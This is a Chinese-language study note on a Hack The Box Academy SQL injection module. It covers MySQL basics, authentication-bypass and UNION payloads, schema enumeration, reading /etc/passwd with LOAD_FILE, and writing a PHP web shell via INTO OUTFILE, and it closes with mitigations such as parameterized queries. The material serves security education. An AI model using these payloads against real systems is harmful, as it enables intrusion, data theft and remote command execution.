来源:Hack The Box Academy,Module 33。本文是按知识链路重新组织的学习笔记,并非网页逐句搬运。所有测试仅用于明确授权的实验环境。
![]()
0. 本章知识地图
- 理解数据库、DBMS、关系型数据库和 MySQL。
- 掌握完成注入所需的 SQL 查询、筛选、排序与运算符。
- 判断用户输入能否改变后端查询结构。
- 使用布尔逻辑、注释和 UNION 控制查询。
- 枚举数据库、表、列和数据。
- 在权限与配置允许时读取或写入服务器文件。
- 通过参数化查询、最小权限等措施修复 SQL 注入。
1. Introduction:SQL 注入是什么
现代 Web 应用通常采用三层结构:客户端负责交互,应用服务器处理业务逻辑,数据库保存和检索数据。

当应用把不可信输入直接拼接进 SQL 语句时,输入可能不再只是“数据”,而会成为查询语法的一部分。攻击者由此可以改变查询逻辑,造成认证绕过、敏感数据泄露,甚至在特定权限和配置下读写服务器文件。
核心判断
用户输入 → 应用拼接 SQL → DBMS 解析并执行
↑
若输入能改变 SQL 结构,就可能存在 SQLi
SQL 注入成立通常同时需要:
- 输入最终进入数据库查询;
- 应用未正确使用参数化查询;
- 输入可改变原查询的语法或逻辑;
- 数据库账户拥有可被滥用的权限。
2. Intro to Databases:数据库与 DBMS
数据库是结构化保存数据的集合;DBMS(数据库管理系统)是创建、查询、修改、控制数据库的软件。应用一般不会直接操作磁盘文件,而是向 DBMS 发出查询。
常见能力
- 创建和管理数据库、表与记录;
- 通过查询检索、插入、更新和删除数据;
- 管理用户、权限、事务和并发访问;
- 保证数据完整性并提供备份恢复能力。
SQL 的角色
SQL 是关系型数据库常用的声明式语言。使用者描述“要什么数据”,DBMS 决定具体执行方式。SQLi 的学习重点不是记忆所有语法,而是理解一条查询如何被输入改变。
3. Types of Databases:数据库类型
关系型数据库
数据保存在表中,表由行和列组成;表之间通过键建立关系。关系型数据库通常具有固定模式,并使用 SQL 操作数据。
- 主键:唯一标识一条记录。
- 外键:引用另一张表中的记录,建立关系。
- 常见产品:MySQL、MariaDB、Microsoft SQL Server、Oracle、PostgreSQL。
非关系型数据库(NoSQL)
数据不一定以关系表保存,可采用文档、键值、宽列或图结构。它们的查询方式和注入形式可能不同,本章主要讨论 MySQL 风格的关系型数据库与 SQL 注入。
对渗透测试的意义
首先识别后端数据库类型,因为注释符、系统表、函数和文件操作语法会因 DBMS 而异。不能把某一数据库的语法机械套用到另一种数据库。
4. Intro to MySQL:首次连接与基础配置
MySQL 是客户端/服务器架构。开始前需要:
- MySQL 客户端程序;
- 可访问的 MySQL 主机和端口(默认 TCP 3306);
- 合法用户名及密码,或实验环境提供的凭据;
- 网络路径和数据库授权均允许连接。
首次连接
# 本机连接,交互式输入密码
mysql -u root -p
# 远程连接
mysql -u <user> -p -h <host> -P 3306
不建议在命令行直接写密码,因为它可能进入 shell 历史或进程列表。
连接后的环境确认
SELECT VERSION();
SELECT USER();
SHOW DATABASES;
结果分别用于确认数据库版本、当前身份和可见数据库。退出客户端可使用:
exit
5. SQL Statements:数据定义与增删改查
数据库和表
CREATE DATABASE employees;
SHOW DATABASES;
USE employees;
CREATE TABLE users (
id INT NOT NULL AUTO_INCREMENT,
username VARCHAR(100) UNIQUE NOT NULL,
password VARCHAR(100) NOT NULL,
PRIMARY KEY (id)
);
SHOW TABLES;
DESCRIBE users;
插入和查询
INSERT INTO users (username, password)
VALUES ('admin', 'password123');
SELECT * FROM users;
SELECT username, password FROM users;
更新和删除
UPDATE users
SET password = 'new_password'
WHERE username = 'admin';
DELETE FROM users
WHERE username = 'admin';
修改结构与删除对象
ALTER TABLE users ADD email VARCHAR(100);
DROP TABLE users;
DROP DATABASE employees;
注意:没有 WHERE 的 UPDATE 或 DELETE 会影响整张表;DROP 会删除整个对象。在实验中也应先确认作用范围。
6. Query Results:控制查询结果
排序 ORDER BY
SELECT * FROM users ORDER BY id ASC;
SELECT * FROM users ORDER BY id DESC;
在 UNION 注入中,ORDER BY n 还可用来推断原查询列数:当序号超过列数时,查询通常报错。
限制结果 LIMIT
SELECT * FROM users LIMIT 2;
SELECT * FROM users LIMIT 1, 2;
第二条表示跳过 1 行后取 2 行,适合逐条观察结果。
条件筛选 WHERE
SELECT * FROM users WHERE id = 1;
SELECT * FROM users WHERE username = 'admin';
模式匹配 LIKE
SELECT * FROM users WHERE username LIKE 'adm%';
SELECT * FROM users WHERE username LIKE 'user_';
- %:任意长度字符;
- _:恰好一个字符。
7. SQL Operators:运算符和优先级
常用运算符
类型 示例 含义 比较 =, !=, <, >, <=, >= 比较两侧值 逻辑 AND, OR, NOT 组合或反转条件 算术 +, -, *, /, % 数值运算 位运算 &, , ^, ~, <<, >>
优先级为何重要
AND 通常先于 OR 求值。分析认证查询时,应把逻辑表达式加上括号再判断:
username = 'admin' OR ('1' = '1' AND password = 'x')
注入是否成功不仅取决于某个条件为真,还取决于运算符优先级、字符串是否正确闭合,以及原查询剩余部分是否被处理。
8. Intro to SQL Injections:发现注入点
典型不安全代码思路
SELECT * FROM users
WHERE username = '<用户输入>' AND password = '<用户输入>';
如果应用直接拼接输入,单引号可能提前结束字符串,从而让后续输入被当作 SQL。
初步探测字符
'
"
#
-- -
)
观察重点:
- 是否出现数据库语法错误;
- 页面内容、状态码或响应长度是否变化;
- 真条件和假条件是否导致不同结果;
- 输入进入数字、字符串还是括号上下文。
报错并非唯一证据;应用也可能隐藏错误。应通过成对条件验证,例如一个恒真条件与一个恒假条件产生稳定差异。
9. Subverting Query Logic:改变认证逻辑
目标是让 WHERE 条件在不知道密码时仍为真。例如在授权实验中,用户名输入:
admin' OR '1'='1' -- -
概念上可把查询变成:
SELECT * FROM users
WHERE username = 'admin' OR '1'='1' -- -' AND password = '...';
'1'='1' 为真,注释截断后续密码判断。实际效果取决于查询结构、输入位置、空格、引号及应用如何使用返回结果。
实验方法
- 先用正常但错误的凭据建立基线。
- 用单引号判断是否影响语法。
- 构造恒真与恒假条件进行对比。
- 处理剩余引号和语句尾部。
- 根据响应判断是否改变了查询逻辑。
10. Using Comments:用注释处理原查询尾部
MySQL 常见注释方式:
# 单行注释
-- 后面必须有空白字符
/* 块注释 */
URL 中 # 往往表示浏览器片段标识,不会作为请求参数发送,因此需要 URL 编码为 %23。-- 在 MySQL 中必须跟空格或控制字符,所以实验中常写成:
-- -
使用场景
- 注释掉未闭合的引号;
- 移除原查询中的密码条件;
- 截断 ORDER BY、LIMIT 等后续语句。
注意:注释只是让最终语句语法完整,并不自动保证前面的逻辑正确。
11. Union Clause:UNION 的基础规则
UNION 把多个 SELECT 的结果合并为一个结果集:
SELECT id, username FROM users
UNION
SELECT id, name FROM products;
必须满足:
- 两侧返回相同列数;
- 对应位置的数据类型兼容;
- 最终显示的列由原页面渲染逻辑决定。
UNION 默认去重;UNION ALL 保留重复行。注入时通常先用数字或 NULL 作为占位值:
UNION SELECT 1,2,3,4
UNION SELECT NULL,NULL,NULL,NULL
12. Union Injection:确定列数与可见列
方法一:递增 ORDER BY
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
一直增加序号;第一个报错的序号减一,通常就是列数。
方法二:逐步增加 UNION 列
' UNION SELECT 1-- -
' UNION SELECT 1,2-- -
' UNION SELECT 1,2,3-- -
直到查询不再因列数不匹配而失败。
定位页面会显示的列
' UNION SELECT 1,2,3,4-- -
观察页面出现哪个标记数字;只有被渲染的列适合直接回显数据库内容。例如第二列可见时:
' UNION SELECT 1,@@version,3,4-- -
排错顺序:先确认引号和注释,再确认列数,然后处理类型兼容,最后确认哪一列可见。
13. Database Enumeration:枚举数据库结构
基础环境信息
SELECT @@version;
SELECT USER();
SELECT DATABASE();
SELECT @@datadir;
information_schema
MySQL 使用 information_schema 保存数据库元数据:
- schemata:数据库列表,重点列 schema_name;
- tables:表列表,重点列 table_schema、table_name;
- columns:列列表,重点列 table_schema、table_name、column_name。
标准枚举链路
-- 1. 数据库
SELECT schema_name
FROM information_schema.schemata;
-- 2. 指定数据库的表
SELECT table_name
FROM information_schema.tables
WHERE table_schema = '目标数据库';
-- 3. 指定表的列
SELECT column_name
FROM information_schema.columns
WHERE table_schema = '目标数据库'
AND table_name = '目标表';
-- 4. 读取目标数据
SELECT username, password
FROM 目标数据库.目标表;
UNION 场景示例
假设原查询有四列且第二列可见:
' UNION SELECT 1,schema_name,3,4 FROM information_schema.schemata-- -
将多列压入一个可见位置:
CONCAT(username, ':', password)
完整思路是“确认 DBMS → 当前身份/数据库 → 数据库名 → 表名 → 列名 → 目标记录”,不要在未知结构下盲猜。
14. Reading Files:读取服务器文件
MySQL 的 LOAD_FILE() 可在条件满足时读取数据库服务器本机文件:
SELECT LOAD_FILE('/etc/passwd');
UNION 回显示例(第二列可见):
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -
前置条件
- 当前数据库用户具有全局 FILE 权限;
- MySQL 服务进程对目标文件有操作系统读取权限;
- 路径是数据库服务器上的绝对路径,而非攻击机路径;
- secure_file_priv 等配置没有禁止该操作;
- 文件内容能通过某个可见列返回。
检查权限
SELECT grantee, privilege_type
FROM information_schema.user_privileges
WHERE grantee = "'root'@'localhost'";
读取失败不等于没有 SQLi,常见原因还包括路径错误、权限不足、配置限制或页面无法显示长文本。
15. Writing Files:写入服务器文件
MySQL 可通过 INTO OUTFILE 把查询结果写到服务器文件系统:
SELECT 'test' INTO OUTFILE '/tmp/test.txt';
前置条件
- 数据库用户具有 FILE 权限;
- secure_file_priv 为空或允许目标目录;
- MySQL 服务账户对目录有写权限;
- 目标文件通常不能已存在;
- 已知 Web 根目录时,文件才可能通过 Web 访问;
- 若写入服务端脚本,Web 服务器还必须解释对应脚本类型。
检查可写目录限制
SELECT @@secure_file_priv;
在明确授权的实验环境中,课程使用写入简单服务器端脚本来验证影响,例如:
SELECT '<?php system($_REQUEST[0]); ?>'
INTO OUTFILE '/var/www/html/shell.php';
这个步骤的价值是证明“数据库注入”可能跨越到“服务器命令执行”,但它高度依赖权限和部署结构。实际评估应采用最小影响的验证方式,并在完成后清理测试文件。
16. Mitigating SQL Injection:防御与修复
首选方案:参数化查询
把 SQL 结构与用户数据分离,由数据库驱动安全绑定参数。PHP MySQLi 示例:
$stmt = $conn->prepare(
"SELECT * FROM users WHERE username = ? AND password = ?"
);
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
参数化查询的关键不是简单转义特殊字符,而是让输入始终被当作值处理,不能成为 SQL 关键字或结构。
纵深防御
- 服务端输入验证:对枚举值、数字、长度和格式采用允许列表。
- 最小权限:Web 应用账户只授予业务必需权限,避免 FILE、管理权限及跨库访问。
- 安全错误处理:向用户返回通用错误,把详细错误记录在受保护日志中。
- 安全设计:避免动态拼接表名、列名和排序关键字;必须动态化时使用严格映射。
- WAF:只能作为补充控制,不能代替代码修复。
- 密码安全:使用专用密码哈希算法保存密码,不能依赖数据库查询隐藏明文。
容易失败的“修复”
- 只删除单引号;
- 只依赖客户端校验;
- 维护一份注入关键字黑名单;
- 仅隐藏数据库错误;
- 认为 ORM 会自动消除所有原生 SQL 风险。
17. Skills Assessment:评估题通用工作流
技能评估的重点是独立串联本章方法,而不是机械尝试 payload。
阶段一:建立基线
- 浏览应用功能,定位可能进入数据库的参数。
- 记录正常请求、错误请求和页面响应差异。
- 判断输入处于字符串、数字还是括号上下文。
阶段二:确认和控制查询
- 用引号或括号测试语法影响。
- 用恒真/恒假条件验证逻辑可控。
- 选择正确注释符处理查询尾部。
- 若需要回显数据,确定列数和可见列。
阶段三:结构化枚举
版本/当前用户/当前库
↓
数据库列表
↓
目标库的表
↓
目标表的列
↓
目标数据
阶段四:按目标扩大影响
- 只在题目需要时检查 FILE 权限;
- 先查询 @@secure_file_priv,再判断文件操作是否可行;
- 区分 SQLi 已确认与文件操作受限,避免错误归因;
- 保存关键请求、payload、响应证据和推理过程。
实验记录模板
## 注入点
- URL/功能:
- 参数:
- 请求方法:
- 输入上下文:字符串 / 数字 / 括号
## 验证
- 基线输入与响应:
- 恒真条件与响应:
- 恒假条件与响应:
- 使用的注释方式:
## UNION
- 列数:
- 可见列:
- 类型限制:
## 枚举结果
- DBMS/版本:
- 当前用户:
- 当前数据库:
- 数据库 → 表 → 列:
## 权限与配置
- FILE 权限:
- secure_file_priv:
- 文件读写验证:
速查表
目的 MySQL 表达式/方法 结果解释 当前版本 @@version / VERSION() 辅助确认 DBMS 和版本 当前身份 USER() 判断数据库权限主体 当前数据库 DATABASE() 确定默认查询范围 数据目录 @@datadir 理解服务器数据库路径 列数 ORDER BY n 首个错误序号减一 可见列 UNION SELECT 1,2,... 页面显示的标记列可用于回显 数据库列表 information_schema.schemata 读取 schema_name 表列表 information_schema.tables 按 table_schema 过滤 列列表 information_schema.columns 按库名和表名过滤 合并字段 CONCAT(a,':',b) 多个值放入一个可见列 读文件 LOAD_FILE('/abs/path') 需要权限、路径和配置支持 写文件 INTO OUTFILE 需要 FILE、可写目录和配置支持 文件目录限制 @@secure_file_priv 判断允许的导入/导出目录
常见故障排查
现象 优先检查 单引号后直接报错 输入上下文、闭合方式、尾部注释 -- 未注释成功 MySQL 的 -- 后是否有空格;尝试 -- - URL 中 # 无效 是否编码为 %23 UNION 一直报错 列数、数据类型、括号和原查询尾部 UNION 成功但页面无数据 选中的列是否由页面渲染 LOAD_FILE() 返回 NULL FILE 权限、绝对路径、OS 权限、secure_file_priv INTO OUTFILE 失败 文件是否已存在、目录权限、FILE 权限、允许目录 SQLi 可用但无法读写文件 正常现象;数据库权限与 SQLi 是否存在是两个问题
最终记忆框架
发现输入点
→ 判断上下文并确认 SQLi
→ 用注释稳定语法
→ 用 ORDER BY / UNION 确定列结构
→ 枚举 information_schema
→ 提取目标数据
→ 检查 FILE 与 secure_file_priv(仅在需要时)
→ 以参数化查询 + 最小权限修复
最重要的思路是:先证明输入能够改变查询,再按数据库的元数据结构有序枚举。报错、回显、认证绕过和文件操作只是不同影响层级,不能混为一谈。
